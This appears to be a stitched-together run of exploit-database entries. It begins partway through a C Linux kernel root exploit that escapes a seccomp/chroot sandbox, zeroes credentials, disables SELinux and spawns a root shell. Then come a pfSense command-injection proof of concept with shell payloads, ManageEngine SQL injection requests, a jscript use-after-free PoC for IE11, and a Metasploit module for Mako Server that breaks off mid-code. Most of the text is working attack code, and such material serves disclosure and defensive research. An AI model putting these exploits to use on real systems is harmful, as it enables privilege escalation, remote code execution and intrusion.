if (has_newuser && !write_file("/proc/self/uid_map", "1000 %d 1\n", real_uid)){
perror("write_file(/proc/self/uid_map)");
exit(EXIT_FAILURE);
}
if (has_newuser && !write_file("/proc/self/gid_map", "1000 %d 1\n", real_gid)) {
perror("write_file(/proc/self/gid_map)");
exit(EXIT_FAILURE);
}
// chroot
if (chroot("/proc/self/fdinfo")) {
perror("chroot");
exit(EXIT_FAILURE);
}
// remove .?
// how did they remove that dir..
// set uid
if (!has_newuser){
if (setgid(1000)) {
perror("setgid");
exit(EXIT_FAILURE);
}
if (setuid(1000)) {
perror("setuid");
exit(EXIT_FAILURE);
}
}
// no new privs
int res = prctl(PR_SET_NO_NEW_PRIVS, 1, 0, 0, 0);
if (res) {
printf("no new privs failed? %d\n", res);
}
// filter
struct sock_fprog prog = {
.len = (unsigned short) (length/8),
.filter = (void*)buffer,
};
// install filter
if (syscall(__NR_seccomp, SECCOMP_SET_MODE_FILTER, 0, &prog)) {
perror("seccomp");
exit(-2);
}
printf("Installed sandboxes. Seccomp, chroot, uid namespace\n");
}
// futex wrapper
static int futex(void *uaddr, int futex_op, int val,
const struct timespec *timeout, int *uaddr2, int val3) {
return syscall(SYS_futex, uaddr, futex_op, val, timeout, uaddr, val3);
}
/***********EXPLOIT CODE************/
pthread_attr_t thread_attr;
unsigned long get_base() {
// first we try doing our arb write to find the system base address
// if syscall is 0 we didn't fault
unsigned long start = 0xffffffff00000000;
unsigned long inc = 0x0000000000100000;
unsigned long guess = start;
while (guess != 0) {
int res = syscall(SYS_waitid, P_ALL, 0, guess+start_rw_off, WEXITED, NULL);
if (errno != 14) {
printf("found kernel base 0x%lx\n", guess);
kernel_base = guess;
return guess;
}
guess += inc;
}
printf("failed to find base address...");
return -1;
}
int threads_run;
int barrier2;
int barrier1;
unsigned long g_addr_guess;
unsigned long mapping_begin;
unsigned long mapping_end;
int found_one = 0;
void *thread_guy(void *arg) {
// this thread continuously checks if the seccomp filter was removed
// if so we can move onto the part 2 of the exploit
// we check if the spray worked before and after each barrier
while (1) {
if (found_one) {
syscall(SYS_exit, 0);
}
// wait on barrier1
int res = futex(&barrier1, FUTEX_WAIT, 0, NULL, NULL, 0);
if (found_one) {
syscall(SYS_exit, 0);
}
long curr_addr = g_addr_guess;
__atomic_fetch_add(&threads_run, 1, __ATOMIC_SEQ_CST);
// check if opening /dev/random does not return the error code from seccomp
// it will still fail because of the chroot, but have a different error
int fd = open("/dev/random", O_RDONLY);
if (errno != 1) {
// FOUND
printf("found my task at 0x%lx\n", curr_addr);
found_one = 1;
do_exploit_2(curr_addr);
return NULL;
}
// wait for barrier 2
if (found_one) {
syscall(SYS_exit, 0);
}
futex(&barrier2, FUTEX_WAIT, 0, NULL, NULL, 0);
if (found_one) {
syscall(SYS_exit, 0);
}
__atomic_fetch_add(&threads_run, 1, __ATOMIC_SEQ_CST);
}
}
int num_threads = 0;
long spray_offset;
void unseccomp() {
// first we spin up a lot of threads
// let's try 10k
// and then we try overwriting the TIF_SECCOMP flag in the task struct
int i;
unsigned long curr_guess = 0xffff800000000000;
int j;
while(1) {
// try writing
int res = syscall(SYS_waitid, P_ALL, 0, curr_guess+0xfe0, WEXITED, NULL);
if (errno != 14) {
mapping_begin = curr_guess;
printf("found mapping at %p\n", (void*)curr_guess);
break;
}
curr_guess += 0x10000000;
}
// check if mapping extends higher?
while(1) {
curr_guess += 0x10000000;
// try writing
int res = syscall(SYS_waitid, P_ALL, 0, curr_guess+0xfe0, WEXITED, NULL);
if (errno == 14) {
printf("found mapping end at %p\n", (void*)curr_guess);
mapping_end = curr_guess;
curr_guess -= 0x10000000;
break;
}
}
// start threads
barrier1 = 0;
barrier2 = 0;
for (i = 0; i < NUM_THREAD_SPRAY; i++) {
num_threads = i;
if(pthread_create(&g_threads[i], &thread_attr, thread_guy, NULL)) {
printf("pthread create error\n");
printf("%d\n", i);
break;
}
}
printf("%d threads created\n", num_threads);
/***** find the kernel heap *******/
unsigned long last_mapping_start;
unsigned long last_mapping_end;
unsigned long second_mapping;
unsigned long second_mapping_end;
usleep(100000);
while(1) {
curr_guess += 0x10000000;
// try writing
int res = syscall(SYS_waitid, P_ALL, 0, curr_guess+0xfe0, WEXITED, NULL);
if (errno != 14) {
printf("found second mapping at %p\n", (void*)curr_guess);
//mapping_end = curr_guess;
second_mapping = curr_guess;
last_mapping_start = second_mapping;
curr_guess -= 0x10000000;
break;
}
}
while(1) {
curr_guess += 0x10000000;
// try writing
int res = syscall(SYS_waitid, P_ALL, 0, curr_guess+0xfe0, WEXITED, NULL);
if (errno == 14) {
printf("found second mapping end at %p\n", (void*)curr_guess);
second_mapping_end = curr_guess;
last_mapping_end = second_mapping_end;
curr_guess -= 0x10000000;
break;
}
}
unsigned long third_mapping = 0;
unsigned long third_mapping_end;
usleep(100000);
while(curr_guess < second_mapping_end+0x100000000) {
curr_guess += 0x10000000;
// try writing
int res = syscall(SYS_waitid, P_ALL, 0, curr_guess+0xfe0, WEXITED, NULL);
if (errno != 14) {
printf("found third mapping at %p\n", (void*)curr_guess);
third_mapping = curr_guess;
last_mapping_start = third_mapping;
curr_guess -= 0x10000000;
break;
}
}
if (third_mapping) {
while(1) {
curr_guess += 0x10000000;
// try writing
int res = syscall(SYS_waitid, P_ALL, 0, curr_guess+0xfe0, WEXITED, NULL);
if (errno == 14) {
printf("found third mapping end at %p\n", (void*)curr_guess);
third_mapping_end = curr_guess;
last_mapping_end = third_mapping_end;
curr_guess -= 0x10000000;
break;
}
}
}
/***** done finding the kernel heap *******/
/****** start overwriting from low addresses to high and hope we unset the seccomp flag ******/
// some start guess found by experimenting, could be very wrong on some systems
curr_guess = last_mapping_end-0x100000000;
printf("last_mapping is 0x%lx bytes\n", last_mapping_end-last_mapping_start);
printf("min guess %lx\n", curr_guess);
printf("starting guessing\n");
printf("this part can take up to a minute, or crash the machine :)\n");
i = 0;
while(!found_one) {
curr_guess += 0x800000;
unsigned long guess_val = curr_guess + spray_offset;
// try writing
syscall(SYS_waitid, P_ALL, 0, guess_val-26, WEXITED, NULL);
g_addr_guess = guess_val;
// let the threads check
barrier2 = 0;
threads_run = 0;
barrier1 = 1;
futex(&barrier1, FUTEX_WAKE, INT_MAX, NULL, NULL, 0);
while(threads_run < num_threads) {
if (found_one) {
// one of the threads is free from seccomp
// wake from barriers first
barrier1=1;
barrier2=1;
futex(&barrier1, FUTEX_WAKE, INT_MAX, NULL, NULL, 0);
futex(&barrier2, FUTEX_WAKE, INT_MAX, NULL, NULL, 0);
printf("joining threads\n");
for(i = 0; i < num_threads; i++) {
pthread_join(g_threads[i], NULL);
}
printf("done joining threads\n");
sleep(1000);
}
usleep(10000);
}
// make sure threads are reset
barrier2 = 1;
barrier1 = 0;
futex(&barrier2, FUTEX_WAKE, INT_MAX, NULL, NULL, 0);
while(threads_run < num_threads*2) {
if (found_one) {
printf("apparently we found one sleep forever\n");
// wake from barriers first
barrier1=1;
barrier2=1;
futex(&barrier1, FUTEX_WAKE, INT_MAX, NULL, NULL, 0);
futex(&barrier2, FUTEX_WAKE, INT_MAX, NULL, NULL, 0);
printf("joining threads\n");
for(i = 0; i < num_threads; i++) {
pthread_join(g_threads[i], NULL);
}
printf("done joining threads\n");
sleep(100000);
}
usleep(10000);
}
threads_run = 0;
barrier2 = 0;
i += 1;
}
}
int just_exit(void *arg) {
return 0;
}
int done_overwrite;
long new_stack[10000];
void write_5(unsigned long addr, unsigned long val) {
// uses waitid with pid to write a 5 byte value
// clobbers a lot of adjacent memory, mostly with 0's
long fake_info[20];
if(val & 0xffffff) {
printf("cannot write that val\n");
exit(-1);
}
//fork exit until pid is good
int i = 0;
for(i = 3; i < 8; i++) {
int to_write = (val >> (8*i)) & 0xff;
while(1) {
// get pid ending in to_write
//int pid = fork();
// to make super fast we clone VM instead of regular fork
// int pid = syscall(SYS_clone, CLONE_VM | CLONE_CHILD_SETTID | CLONE_CHILD_CLEARTID | SIGCHLD, &new_stack[200], NULL, 0, 0);
int pid = clone(just_exit, &new_stack[5000], CLONE_VM | SIGCHLD, NULL);
if (!pid) {
exit(0);
}
if ((pid & 0xff) == to_write) {
syscall(SYS_waitid, P_PID, pid, addr-16+i, WEXITED, NULL);
break;
}
else {
syscall(SYS_waitid, P_PID, pid, fake_info, WEXITED, NULL);
}
}
}
}
// functions for once we control ops
unsigned long read_addr(unsigned long addr) {
f_op[OFFSET_LSEEK] = ARB_READ_GADGET_OFF + kernel_base;
return syscall(SYS_lseek, 0, addr, SEEK_SET);
}
void mem_read(unsigned long addr, void *buf, unsigned long bytes) {
unsigned long i = 0;
char *cbuf = (char*)buf;
for(i = 0; i < bytes; i+= 8) {
unsigned long got = read_addr(addr+i);
if (i+8 > bytes) {
unsigned long j = 0;
for(j = i; j < bytes; j++) {
cbuf[j] = (char)got&0xff;
got >>= 8;
}
}
else {
*(long*)(cbuf+i) = got;
}
}
}
void write_addr4(unsigned long addr, unsigned int val) {
f_op[OFFSET_IOCTL] = ARB_WRITE_GADGET_OFF+kernel_base;
ioctl(0, val, addr);
}
void write_addr(unsigned long addr, unsigned long val) {
write_addr4(addr, (unsigned int)val);
write_addr4(addr+4, (unsigned int)(val>>32));
}
void mem_write(unsigned long addr, void *buf, unsigned long bytes) {
if (bytes < 4 || bytes % 4 != 0) {
//cannot write less than 4 bytes
printf("Invalid write size\n");
exit(-1);
}
int i = 0;
char *cbuf = buf;
for(i = 0; i < bytes; i+=4) {
write_addr4(addr+i, *(unsigned int*)(cbuf+i));
}
}
void *write_5_thread(void *arg) {
// constantly write to pages to keep them dirtly and "mlock" them
unsigned long *aa = arg;
unsigned long addr = aa[0];
unsigned long data = aa[1];
write_5(addr, data);
done_overwrite = 1;
}
int done_rooting;
void *thread_to_be_root(void *arg) {
// this guy exists for copying data and becoming root
while(!done_rooting) {
usleep(10000);
}
printf("trying to call system...\n");
system("/bin/sh");
}
void do_exploit_2(unsigned long task_addr) {
// second part of the exploit
// now that we don't have seccomp we can fork and use waitid to write up to 5 non-NULL bytes
// I map a large section of memory and search for it in the physmap to find an address with 3 NULL bytes
// The physmap allows us to control data from userland and bypass smap
// sleep for a bit to make sure threads exit
usleep(100000);
// remove seccomp filter
syscall(SYS_waitid, P_ALL, 0, task_addr + OFFSET_OF_SECCOMP-4, WEXITED, NULL);
syscall(SYS_waitid, P_ALL, 0, task_addr + OFFSET_OF_SECCOMP_MODE, WEXITED, NULL);
// verify seccomp removed for child
int pid = fork();
int rand_fd = open("/dev/random", O_RDONLY); // this will fail due to chroot
if (errno == 1) {
printf("SECCOMP NOT ACTUALLY GONE!\n");
exit(-1);
}
if (!pid) {
exit(0);
}
printf("part 2 start\n");
// First, get a physmap address in the kernel land
struct PagePair pp;
get_physmap(&pp);
// now we have a physmap address that we know, we can create our fake files
// we will set up fake files struct
memset((void*)pp.userland_page, 0x41, 0x1000);
unsigned long files_struct = pp.userland_page;
*(int*)files_struct = 100; // count (make sure it's never freed)
*(unsigned long*)(files_struct+32) = pp.kernel_page+0x100; // fdt
// set up fdt
unsigned long fdt = pp.userland_page+0x100;
*(int*)fdt = 2; // num_files
*(unsigned long*)(fdt+8) = pp.kernel_page+0x200; // fd[]
// set up fd[]
unsigned long fdarr = pp.userland_page+0x200;
*(unsigned long*)fdarr = pp.kernel_page+0x300; // fd[0]
// set up file struct
unsigned long file = pp.userland_page+0x300;
*(unsigned long*)(file+40) = pp.kernel_page+0x400; // f_op
*(unsigned int*)(file+68) = FMODE_LSEEK; // mode
*(unsigned long*)(file+OFFSET_OF_F_COUNT)=100; // never free me
f_op = (unsigned long*)(pp.userland_page+0x400); // f_op pointer
// need to set up IS_PRIVATE(inode)) and file->cred = task->cred to pass checks for ioctl
// this is the IS_PRIVATE(inode)
*(unsigned long*)(file+OFFSET_OF_F_INODE)=pp.kernel_page+0x500; // inode
unsigned long inode = (unsigned long)(pp.userland_page+0x500); // inode
*(unsigned int*)(inode+OFFSET_OF_IFLAGS) = 0x200; // IS_PRIVATE
// write over files pointer in task struct
// will overwrite signal nsproxy and fs, so we will need to fix it
printf("here we go\n");
done_overwrite=0;
long aa[2];
aa[0] = task_addr + OFFSET_OF_FILES;
aa[1] = pp.kernel_page;
pthread_t th1;
// create the thread we will make root
done_rooting = 0;
if(pthread_create(&th1, NULL, thread_to_be_root, NULL)) {
printf("pthread failed\n");
exit(-1);
}
// create a thread to overwrite the files in our task
// this current thread can't do that because the signal will be corrupted
if(pthread_create(&th1, NULL, write_5_thread, aa)) {
printf("pthread failed\n");
exit(-1);
}
// wait for the thread to overwrite my files
while(!done_overwrite) {
}
// I'll use lseek here to do arbitrary reads
// need to set up IS_PRIVATE(inode)) and file->security = task->cred->security to pass checks for ioctl
// first fix up structures in FILE
// let's check another file
// leak out addr of parent
unsigned long parent_addr = read_addr(task_addr+OFFSET_OF_PARENT);
// grab security from task cred
unsigned long cred = read_addr(task_addr + OFFSET_OF_TASK_CRED);
unsigned long security = read_addr(cred + OFFSET_OF_CRED_SECURITY);
// fix up file->security
*(unsigned long*)(file+OFFSET_OF_F_SECURITY) = security;
// now have arb write through ioctl!
// okay first fix up task struct
// copy parent's nsproxy and set it's refcount high
long parent_nsproxy = read_addr(parent_addr+OFFSET_OF_NSPROXY);
write_addr(task_addr+OFFSET_OF_NSPROXY, parent_nsproxy);
write_addr4(parent_nsproxy+OFFSET_OF_NS_COUNT, 0x11111111);
// copy parent's fs and set it's refcount high
long parent_fs = read_addr(parent_addr+OFFSET_OF_FS);
write_addr(task_addr+OFFSET_OF_FS, parent_fs);
write_addr4(parent_fs+OFFSET_OF_FS_COUNT, 0x11111111);
// now set tasks refcount high, we don't want to free it ever either?
write_addr4(task_addr+OFFSET_OF_TASK_USAGE, 0x11111);
// GET ROOT
// disable selinux enforcing
write_addr4(kernel_base+SELINUX_ENFORCING_OFF, 0);
unsigned long thread2 = read_addr(task_addr+OFFSET_OF_THREAD_GROUP)-OFFSET_OF_THREAD_GROUP;
if (thread2 == task_addr) {
thread2 = read_addr(task_addr+OFFSET_OF_THREAD_GROUP+8)-OFFSET_OF_THREAD_GROUP;
}
unsigned long signal = read_addr(thread2+OFFSET_OF_SIGNAL);
write_addr(task_addr+OFFSET_OF_SIGNAL, signal);
// should be able to ptrace now (it's a decent test to make sure signal is fixed
// now fix up cred we want root
char buf[100];
memset(buf, 0, sizeof(buf));
mem_write(cred+CRED_UID_OFF, buf, CRED_ID_SIZE);
memset(buf, 0xff, sizeof(buf));
mem_write(cred+CRED_CAP_OFF, buf, CRED_CAP_SIZE);
unsigned long init_ns = INIT_USER_NS+kernel_base;
mem_write(cred+CRED_NS_OFF, &init_ns, 8); // is this okay
// now we need to just escape the file system sandbox (chroot)
unsigned long init_fs = INIT_FS+kernel_base;
write_addr(thread2+OFFSET_OF_FS, init_fs);
// WE ARE DONE!
// signal to the other thread and sleep forever
done_rooting = 1;
sleep(1000000);
}
/***** physmap code ******/
int done_locking;
char *mapping_base;
void *mlock_thread(void *arg) {
// constantly write to pages to keep them dirtly and "mlock" them
long i;
char last_val = 0;
while(!done_locking) {
last_val += 1;
for(i = 0xfff; i < 0x10000000; i+= 0x1000) {
mapping_base[i] = last_val;
}
}
}
void* mapping_changed() {
long i = 0;
for(i = 0; i < 0x10000000; i+= 0x1000) {
if (mapping_base[i] != 0x41) {
printf("%lx changed to %d\n", i, mapping_base[i]);
// lock that page in
if(mlock(&mapping_base[i], 0x1000)) {
perror("mlock");
}
printf("page locked!\n");
return &mapping_base[i];
}
}
return 0;
}
void get_physmap(struct PagePair *pp) {
// mmap a large amount of memory
// have one thread watch for changes, while we try overwriting it in the kernel's physmap
// lock the page in when it's found
unsigned long base = 0x100000000;
mapping_base = (char*)base;
long* a = mmap((void*)base, 0x10000000, PROT_READ | PROT_WRITE, MAP_SHARED | MAP_FIXED | MAP_ANONYMOUS, -1, 0);
if ((long)a == -1) {
printf("mmap failed\n");
perror("mmap");
exit(-1);
}
printf("mapped %p\n", a);
memset(a, 0x41, 0x10000000);
done_locking = 0;
int j = 0;
for(j = 0; j < 4; j++) {
pthread_t th1;
if(pthread_create(&th1, NULL, mlock_thread, NULL)) {
printf("mlock thread create error\n");
exit(0);
}
}
// try to find it in physmap
unsigned long curr_guess = mapping_begin-0x80000000;
printf("trying to find physmap mapping\n");
while(1) {
// try writing
int res = syscall(SYS_waitid, P_ALL, 0, curr_guess+0xfe0, WEXITED, NULL);
if (errno != 14) {
printf("found mapping at %p\n", (void*)curr_guess);
curr_guess += 0x80000000;
break;
}
curr_guess += 0x10000000;
}
// try to find physmap
long *locked_mapping = NULL;
long *locked_kernel_mapping = NULL;
while(1) {
// this has 6 0's to ensure that we end up with an address containing only 5 non-zero vals
curr_guess += 0x1000000;
int res = syscall(SYS_waitid, P_ALL, 0, curr_guess, WEXITED, NULL);
if (locked_mapping = mapping_changed()) {
locked_kernel_mapping = (long*)curr_guess;
printf("detected change at %p\n", (void*)curr_guess);
break;
}
}
// verify lock worked
locked_mapping[0] = 0x41414141;
syscall(SYS_waitid, P_ALL, 0, locked_kernel_mapping, WEXITED, NULL);
syscall(SYS_waitid, P_ALL, 0, &locked_kernel_mapping[100], WEXITED, NULL);
if (locked_mapping[0] != 0 || locked_mapping[100] != 0) {
printf("second write didn't work...");
}
printf("physmap addr is good\n");
if(pp) {
pp->userland_page = (unsigned long)locked_mapping;
pp->kernel_page = (unsigned long)locked_kernel_mapping;
}
done_locking = 1;
}
int main() {
install_mock_chrome_sandbox();
setvbuf(stdout, NULL, _IONBF, 0);
srand(time(NULL));
// set thread size smaller
pthread_attr_init(&thread_attr);
if(pthread_attr_setstacksize(&thread_attr, 0x10000)) {
printf("set stack size error\n");
return 0;
}
// get cpuid info so we know size of task_struct
int eax,ebx,ecx,edx;
eax=0xd;
ebx = ecx = edx = 0;
native_cpuid(&eax, &ebx, &ecx, &edx);
int xsave_size = ebx;
if(xsave_size == 0x340) {
spray_offset = 0x55dd00;
printf("for spray assuming task struct size is 5952\n");
}
else if(xsave_size == 0x440) {
spray_offset = 0x5448c0;
printf("for spray assuming task struct size is 6208\n");
}
else {
printf("unknown xsave size... exiting since I don't know have the offsets hardcoded for that task save\n");
return 0;
}
printf("check in /sys/kernel/slab/task_struct/object_size to make sure this is right\n");
printf("If it's wrong the exploit will fail\n");
unsigned long base = get_base();
if (base == -1) {
return -1;
}
unseccomp();
return 0;
}
# Exploit Title: pfSense <= 2.3.1_1 Post-Auth Command Execution
# Date: 11-06-2017
# Exploit Author: s4squatch (Scott White - www.trustedsec.com)
# Vendor Homepage: https://www.pfsense.org
# Version: 2.3-RELEASE
# Vendor Security Advisory: https://www.pfsense.org/security/advisories/pfSense-SA-16_08.webgui.asc
1. Description
pfSense <= 2.3.1_1 is affected by a post-authetication os command injection vulnerability in auth.inc via the /system_groupmanager.php page (System menu-->User Manager-->Groups) in the handling of the members[] parameter. This allows an authenticated WebGUI user with
privileges for system_groupmanager.php to execute commands in the context of the root user.
2. Proof of Concept
'`ifconfig>/usr/local/www/ifconfig.txt`'
'`whoami>/usr/local/www/whoami.txt`'
Command output can then be viewed at the webroot:
http://<address>/ifconfig.txt
http://<address>/whoami.txt
Another POC: 0';/sbin/ping -c 10 192.168.1.125;'
3. Solution
Upgrade to the latest version of pfSense (2.3.1_5 on is fixed). This may be performed in the web interface or from
the console. See https://doc.pfsense.org/index.php/Upgrade_Guide Furthermore, the issues can be mitigated by restricting access to the firewall GUI both with firewall rules and by not allowing untrusted users to have accounts with GUI access, and by not granting untrusted administrators access to the pages in question.
Issue was responsibly disclosed to pfSense (security@pfsense.org) on 06/08/2016 and fixed 06/09/2016!
Thank you to Jim P and the pfSense team for the impressive response time.
ManageEngine Applications Manager version 13 suffers from multiple post-authentication SQL injection vulnerabilities.
Proof of Concept 1 (name= parameter is susceptible):
POST /manageApplications.do?method=insert HTTP/1.1
Host: 192.168.1.190:9090
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:55.0) Gecko/20100101 Firefox/55.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,pl;q=0.7,en;q=0.3
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 407
Referer: http://192.168.1.190:9090/admin/createapplication.do?method=createapp&grouptype=1
Cookie: testcookie=; am_username=; am_check=; liveapm-_zldp=IEKA1hnqJESNNXc4I4Ts1omY%2FiCOo47Ch6sZEoC7bRr4SfuGTOVfjv2JZAH6cun8; liveapm-_zldt=cfa03604-1dc4-4155-86f7-803952114141; diagnosticsAlarmTable_sortdir=down; JSESSIONID_APM_9090=A16B99B2C0C09EB6060B4372660CFBC3
Connection: close
Upgrade-Insecure-Requests: 1
org.apache.struts.taglib.html.TOKEN=66ef9ed22c8b3a67da50e905f7735abd&addmonitors=0&name=My+App2&description=Description....This+service+is+critical+to+our+business&grouptype=1&mgtypestatus%231001=on&mgtypes_1001=1&mgtypes_1007=0&mgtypes_1008=0&mgtypestatus%231002=on&mgtypes_1002=1&mgtypestatus%231003=on&mgtypes_1003=1&mgtypestatus%231004=on&mgtypes_1004=1&mgtypestatus%231006=on&mgtypes_1006=1&locationid=
Proof of Concept 2 (crafted viewProps yCanvas field):
POST /GraphicalView.do? HTTP/1.1
Host: 192.168.1.191:9090
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:55.0) Gecko/20100101 Firefox/55.0
Accept: application/json, text/javascript, */*; q=0.01
Accept-Language: en-US,pl;q=0.7,en;q=0.3
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
Referer: http://192.168.1.191:9090/GraphicalView.do?&method=createBusinessService
Content-Length: 457
Cookie: JSESSIONID_APM_9090=53E8EBC71177607C3A7FE03EB238887E
Connection: close
&method=saveBusinessViewPropsForADDM&viewProps={"displayProps":{"showLabel":true,"showOnlyMGs":false,"showOnlyTopMGs":false,"showOnlyCritical":false,"showOnlyMGStatus":false,"backgroundColorVal":"#FFFFFF","lineColorVal":"#888c8f","textColorVal":"#444444","lineThickness":"2.5","lineTransparency":1,"xCanvas":-23.089912210349002,"yCanvas":0},"coordinates":"{\"totalNumberOfNodes\":0,\"nodeIdList\":[]}"}&haid=10000106&nodeIdVsResourceId={"node_1":"10000106"}
Proof of Concept 3:
POST /GraphicalView.do HTTP/1.1
Host: 192.168.1.191:9090
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:55.0) Gecko/20100101 Firefox/55.0
Accept: application/json, text/javascript, */*; q=0.01
Accept-Language: en-US,pl;q=0.7,en;q=0.3
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
Referer: http://192.168.1.191:9090/showapplication.do?haid=10000106&method=showApplication&selectM=flashview&viewid=1
Content-Length: 101
Cookie: JSESSIONID_APM_9090=68C19C45D63C6FD102EB3DF25A8CE39D; testcookie=; am_username=; am_check=; am_mgview=availability
Connection: close
method=getLatestStatusForJIT&haid=10000106&viewid=1¤time=1509869908111&resourceIDs=(0000106,0)
<!--
Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=1340
There is a use-after-free in jscript.dll library that can be exploited in IE11.
jscript.dll is an old JavaScript library that was used in IE 8 and back. However, IE11 can still load it if put into IE8 compatibility mode and if there is a script tag that can only be understood by the older library (specifically, a script tag with language="Jscript.Encode" attribute will do the trick).
PoC:
=========================================
-->
<!-- saved from url=(0014)about:internet -->
<html>
<head>
<meta http-equiv="X-UA-Compatible" content="IE=8"></meta>
</head>
<body>
<script language="Jscript.Encode">
var e = new Error();
var o = {toString:function() {
//alert('in toString');
e.name = 1;
CollectGarbage();
//reallocate
for(var i=0;i<100;i++) {
e.name = {};
}
return 'b';
}};
e.name = Array(1000).join('a');
e.message = o;
//alert('calling JsErrorToString');
var result = e.toString();
//alert('boom');
alert(result);
</script>
</body>
</html>
<!--
=========================================
This is a use-after-free in jscript!JsErrorToString that can lead to a heap overflow. (The PoC above crashes in memcpy when attempting to copy a large amount of data).
When JsErrorToString runs, it tries to concatenate “name” and “message” properties of an Error object into an AString object (AString is a string type that is implemented as a list of simpler string parts). First the function converts both “name” and “message” properties to strings using the ConvertToString function, however the second call to ConvertToString can trigger a callback (via toString) and delete the “name” string.
Later, when AString is converted to the BString in AString::ConvertToBSTR, the size of the result BString could be calculated incorrectly which can lead to a heap overflow.
Debug log:
=========================================
(10b8.1364): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=00000003 ebx=00000006 ecx=dcbabbb8 edx=00000003 esi=e6e8bb7f edi=e900fb9b
eip=751c9a6c esp=09dfbdfc ebp=09dfbe04 iopl=0 nv up ei ng nz na pe nc
cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00010286
msvcrt!memcpy+0x270:
751c9a6c 8a4603 mov al,byte ptr [esi+3] ds:002b:e6e8bb82=??
0:008> k
# ChildEBP RetAddr
00 09dfbe04 7013c367 msvcrt!memcpy+0x270
01 09dfbe28 7013c3df jscript!AString::ConvertToBSTR+0x86
02 09dfbe30 7013eeff jscript!VAR::ConvertASTRtoBSTR+0x13
03 09dfbe6c 7013af84 jscript!InvokeDispatch+0x424
04 09dfbf38 7013aefe jscript!InvokeDispatchEx+0x7a
05 09dfbf68 701244a7 jscript!VAR::InvokeByDispID+0x90
06 09dfc360 701248ff jscript!CScriptRuntime::Run+0x12b9
07 09dfc45c 70124783 jscript!ScrFncObj::CallWithFrameOnStack+0x15f
08 09dfc4b4 70124cc3 jscript!ScrFncObj::Call+0x7b
09 09dfc558 70133797 jscript!CSession::Execute+0x23d
0a 09dfc5a0 70135353 jscript!COleScript::ExecutePendingScripts+0x16b
0b 09dfc61c 70135139 jscript!COleScript::ParseScriptTextCore+0x206
0c 09dfc648 6bcecf1c jscript!COleScript::ParseScriptText+0x29
0d 09dfc680 6bced6da MSHTML!CActiveScriptHolder::ParseScriptText+0x51
0e 09dfc6f0 6ba5f185 MSHTML!CScriptCollection::ParseScriptText+0x1c6
0f 09dfc7dc 6ba5ecf7 MSHTML!CScriptData::CommitCode+0x31e
10 09dfc85c 6ba5f8bd MSHTML!CScriptData::Execute+0x232
11 09dfc87c 6bced030 MSHTML!CHtmScriptParseCtx::Execute+0xed
12 09dfc8d0 6bcf8265 MSHTML!CHtmParseBase::Execute+0x201
13 09dfc8ec 6b76388c MSHTML!CHtmPost::Broadcast+0x18e
14 09dfca24 6b894a9d MSHTML!CHtmPost::Exec+0x617
15 09dfca44 6b894a03 MSHTML!CHtmPost::Run+0x3d
16 09dfca60 6b89c1e5 MSHTML!PostManExecute+0x61
17 09dfca74 6b89d578 MSHTML!PostManResume+0x7b
18 09dfcaa4 6b796dbc MSHTML!CHtmPost::OnDwnChanCallback+0x38
19 09dfcabc 6b6d5b90 MSHTML!CDwnChan::OnMethodCall+0x2f
1a 09dfcb0c 6b6d577a MSHTML!GlobalWndOnMethodCall+0x16c
1b 09dfcb60 760f62fa MSHTML!GlobalWndProc+0x103
1c 09dfcb8c 760f6d3a user32!InternalCallWinProc+0x23
1d 09dfcc04 760f77c4 user32!UserCallWinProcCheckWow+0x109
1e 09dfcc64 760f788a user32!DispatchMessageWorker+0x3b5
1f 09dfcc74 6cada8ec user32!DispatchMessageW+0xf
20 09dffe40 6cb056d8 IEFRAME!CTabWindow::_TabWindowThreadProc+0x464
21 09dfff00 76ab2f5c IEFRAME!LCIETab_ThreadProc+0x3e7
22 09dfff18 74693a31 iertutil!CMemBlockRegistrar::_LoadProcs+0x67
23 09dfff50 7667336a IEShims!NS_CreateThread::DesktopIE_ThreadProc+0x94
24 09dfff5c 77379902 kernel32!BaseThreadInitThunk+0xe
25 09dfff9c 773798d5 ntdll!__RtlUserThreadStart+0x70
26 09dfffb4 00000000 ntdll!_RtlUserThreadStart+0x1b
=========================================
-->
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Exploit::Remote
Rank = GoodRanking
include Msf::Exploit::Remote::HttpClient
def initialize(info = {})
super(update_info(info,
'Name' => 'Mako Server v2.5 OS Command Injection RCE',
'Description' => %q{
This module exploits a vulnerability found in Mako Server v2.5.
It's possible to inject arbitrary OS commands in the Mako Server
tutorial page through a PUT request to save.lsp.
Attacker input will be saved on the victims machine and can
be executed by sending a GET request to manage.lsp.
},
'License' => MSF_LICENSE,
'Author' =>
[
'John Page (hyp3rlinx) - Beyond Security SecuriTeam Secure Disclosure', # Vulnerability discovery & PoC
'Steven Patterson (Shogun Lab) <steven[at]shogunlab.com>' # Metasploit module
],
'References' =>
[
['EDB', '42683'],
['URL', 'https://blogs.securiteam.com/index.php/archives/3391']
],
'Arch' => ARCH_CMD,
'Platform' => 'win',
'Targets' =>
[
['Mako Server v2.5 - Windows x86/x64', { }]
],
'DefaultTarget' => 0,
'Privileged' => false,
'DisclosureDate' => 'Sep 3 2017'))
register_options(
[
OptString.new('URI', [true, 'URI path to the Mako Server app', '/'])
]
)
end
def check
vprint_status('Trying to detect running Mako Server and necessary files...')
# Send GET request to determine existence of save.lsp page
res = send_request_cgi({
'method' => 'GET',
'uri' => normalize_uri(datastore['URI'], 'examples/save.lsp')
}, 20)
# If response does not include "MakoServer.net", target is not viable.
if res.headers['Server'] !~ /MakoServer.net/
vprint_warning('Target is not a Mako Server.')
return CheckCode::Safe
end
if res.body
if res.body =~ /Incorrect usage/
# We are able to determine that the server has a save.lsp page and
# returns the correct output.
vprint_status('Mako Server save.lsp returns correct ouput.')
return CheckCode::Appears
else
# The page exists, but is not returning the expected output.
# May be a different version?
vprint_warning('Mako Server save.lsp did not return expected output.')
